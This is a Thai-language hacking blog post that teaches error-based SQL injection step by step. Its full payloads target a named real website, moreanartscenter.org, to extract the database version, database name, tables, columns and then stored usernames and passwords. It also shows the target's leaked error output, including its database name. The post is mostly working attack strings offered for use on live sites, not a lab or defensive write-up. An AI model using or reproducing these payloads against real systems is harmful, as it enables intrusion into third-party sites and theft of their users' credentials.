ป้ายเลื่อน


WelCom To www.Kiss-Hack.blogspot.com สังคม IT สังคม Hacker

หมวดหมู่

วันศุกร์ที่ 20 กันยายน พ.ศ. 2556

การ Hack ด้วย SQL Injection


  ในบทความนี้แล้วมาพูดถึง การ hack แบบ SQL Injection ซึ่งเป็นการ Hack ที่เหล่า Hacker นิยมใช้กัน มากที่สุดซึ่งเป็น เทคนิคที่เป็นพื้นฐาน สามารถเอาไปต่อยอด ในการโจมตี Expiont ได้
  ก่อนจะ Hack นะก็จะพูดถึงเทคนิคนี้กันก่อนว่าทำไม มันถึง Hack ได้ และ Hack ไม่ได้ วิธี SQL Injection พื้นฐาน จะทำการโจมตี ผ่าน Dork และคำสั่ง MySQL เพื่อค้นหา ตาราง - แถว ชื่อ ข้อมูลต่างๆ รวมไปถึง Urse - Password

  เรามาเริ่มขั้นตอนการ Hack ด้วย SQL Injection กันดีกว่า

ขั้นตอนแรก หาเวอร์ชั่น

ให้ใช้คำสั่งนี้:
Code:
www.moreanartscenter.org/content.php?id=90 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+

คุณก็จะได้เวอร์ชั่นของฐานข้อมูลออกมา:

Code:
MySQL SELECT error: Duplicate entry '~'5.0.45'~1' for key 1
5.0.45 คือเวอร์ชั่นของฐานข้อมูลนี้.

ขั้นตอนที่สอง หาชื่อฐานข้อมูล (Database)

Code:
http://www.moreanartscenter.org/content.php?id=90 and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
ถ้าคุณคิดว่าเว็ปไซต์นี้มีฐานข้อมูลมากกว่า 1 ชื่อ ให้ใช้การเพิ่ม limit เอานะครับ เช่นเปลี่ยนจาก limit 0,1 เป็น limit 1,1 ถ้าเปลี่ยนไปเรื่อยๆแล้วจนไม่มีอะไรเปลี่ยนแปลงแสดงว่าเว็ปนั้นมีฐานข้อมูลแค่นั้น.

ฐานข้อมูลของเว็ปนี้:
Code:
MySQL SELECT error: Duplicate entry 'moreanartscenter_db~1' for key 1

ขั้นตอนที่สาม หาชื่อ Table
Code:
http://www.moreanartscenter.org/content.php?id=90 and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
เช่นเดียวกัน ถ้าต้องการจะหาชื่อ Table ชื่อต่อๆไป ให้ใช้การเพิ่มค่า Limit ไปเรื่อยๆ เช่น 0,1 1,1 2,1 3,1 ถ้าเพิ่มไปเรื่อยๆ จนเว็ปไซต์เปลี่ยนกลับเป็นหน้าเว็ปปกติแปลว่าเว็ปไซต์นี้มี Tables แค่นั้น.

ขั้นตอนที่สี่ หาคอลัมน์
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x(ชื่อ Table เป็นภาษา Hex) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
เปลี่ยนตรงคำว่า (ชื่อ Table เป็นภาษา Hex) เป็นชื่อ Table ของคุณที่เป็นภาษา Hex ไม่ต้องมีวงเล็บนะครับ.

ขั้นตอนที่ห้า หายูสเซ่อและพาสในคอลัมน์

เช่นเดียวกัน คือใช้การเพิ่มค่า Limit เพื่อหาข้อมูลในคอลัมน์ต่างๆ.
Code:
and (select 1 from (select count(*),concat((select(select concat(cast(concat(ชื่อคอลัมน์,0x7e,ชื่อคอลัมน์) as char),0x7e)) from (ชื่อ Database).(ชื่อ Table) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
เปลี่ยน ชื่อคอลัมน์ เป็นชื่อคอลัมน์ของคุณ, เปลี่ยน (ชื่อ Database) เป็นชื่อ Database ของคุณไม่ต้องใส่วงเล็บ ในกรณีนี้ชื่อ Database คือ moreanartscenter_db ตามที่เห็นในขั้นตอนที่หนึ่ง, เปลี่ยน (ชื่อ Table) เป็นชื่อ Table ของคุณ.

บทความโดย - BaNNeD_IKiss-Hack